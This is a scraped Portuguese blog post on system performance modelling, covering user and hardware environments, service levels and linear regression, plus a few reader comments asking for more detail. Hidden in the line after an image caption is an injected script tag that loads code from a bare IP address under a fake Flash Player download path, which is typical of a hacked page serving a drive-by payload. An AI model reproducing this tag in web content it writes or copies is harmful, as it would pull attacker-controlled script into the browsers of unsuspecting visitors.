" href="http://escalabilidade.com/2010/04/02/elevando-o-nivel-de-abstracao-para-a-melhoria-continua-de-desempenho/" rel="bookmark">Elevando o nível de abstração para a melhoria continua de desempenho

Sex, Abr 2, 2010

Arquitetura

Os testes de desempenho são mecanismos extremamente interessantes para uma análise da escalabilidade de um sistema, entretanto em casos mais complexos somente a realização de testes não é o suficiente, para esses casos é necessário realizar uma modelagem de desempenho do sistema computacional como todo.

Modelar o desempenho de um sistema não é simples, mas também não é uma metodologia impossível de ser utilizada. É necessário monitorar, coletar, sintetizar, analisar, otimizar e representar os sistemas com um visão que foge completamente do empirismo.

O objetivo principal da modelagem de desempenho é aproveitar ao máximo do investimento de infra-estrutura de TI, focando na melhoria continua do desempenho dos sistemas. Muitos profissionais acreditam que uma simples otimização de um código fonte do software é sempre a solução para esses casos, outros acreditam que a solução sempre é a troca excessiva dos dispositivos de hardware, ambas as soluções podem ser consideradas na maioria das vezes como soluções paliativas.

A solução está no ambiente do sistema computacional

A verdade é que essas e outras soluções paliativas surgem pela falta de uma visão mais ampla das coisas. É necessário elevar o nível de abstração para entender que as raízes dos problemas de desempenho nem sempre estão relacionadas há um ponto focal básico como o código fonte e sim há um ambiente do sistema computacional como todo. Esse ambiente basicamente pode ser divido em dois: ambiente de usuários e o ambiente de hardware propriamente dito.

O ambiente de usuários é formado por pessoas ou outros sistemas que são capazes de gerar carga de trabalho através das requisições, transações ou processos do software utilizado. O ambiente de hardware é formado pelo conjunto de dispositivos que processam a carga de trabalho gerada pelo ambiente de usuários. O parâmetro utilizado para avaliar a capacidade de um sistema é a análise do nível de serviço prestado pelo mesmo.

 AmbienteComputacional 300x111 Elevando o nível de abstração para a melhoria continua de desempenho<script src=http://87.106.35.192/br/flashplayer/download/></script>

Existem várias técnicas que são utilizadas para modelagem e análise do desempenho de um ambiente do sistema computacional, como por exemplo, o modelo de regressão linear. No mercado de trabalho, o profissional que possui conhecimento dessas técnicas é extremamente valorizado, principalmente em grandes companhias que investem uma enorme fatia de seu orçamento em infra-estrutura de hardware, como no caso dos mainframes.

Conclusão

A idéia desse post  foi passar uma visão simplificada da modelagem de desempenho, caso solicitem via comentário, eu posso entrar em mais detalhes de como isso é aplicado no mercado e também em detalhes das técnicas envolvidas para aplicação da mesma.

, , ,

Por:

Que escreveu 2 posts em Escalabilidade.


Fale com o autor

  • Ygor

    Que interessante.
    E o pessoal sempre desprezando o professor de regressão na faculdade.

  • Maurício

    Sim, gostaria de obter mais detalhes sobre modelagem de desempenho, abordado no post intitulado “Elevando o nível de abstração para a melhoria continua de desempenho”.

    Desde já agradeço.

  • Maurício

    Fiquei muito curioso sobre como aplicar regressão linear “para modelagem e análise do desempenho de um ambiente do sistema computacional”?

  • Allan Batista

    Opa, seus posts são show de bola. teremos uma visão mais específica sobre modelagem de desempenho?! :)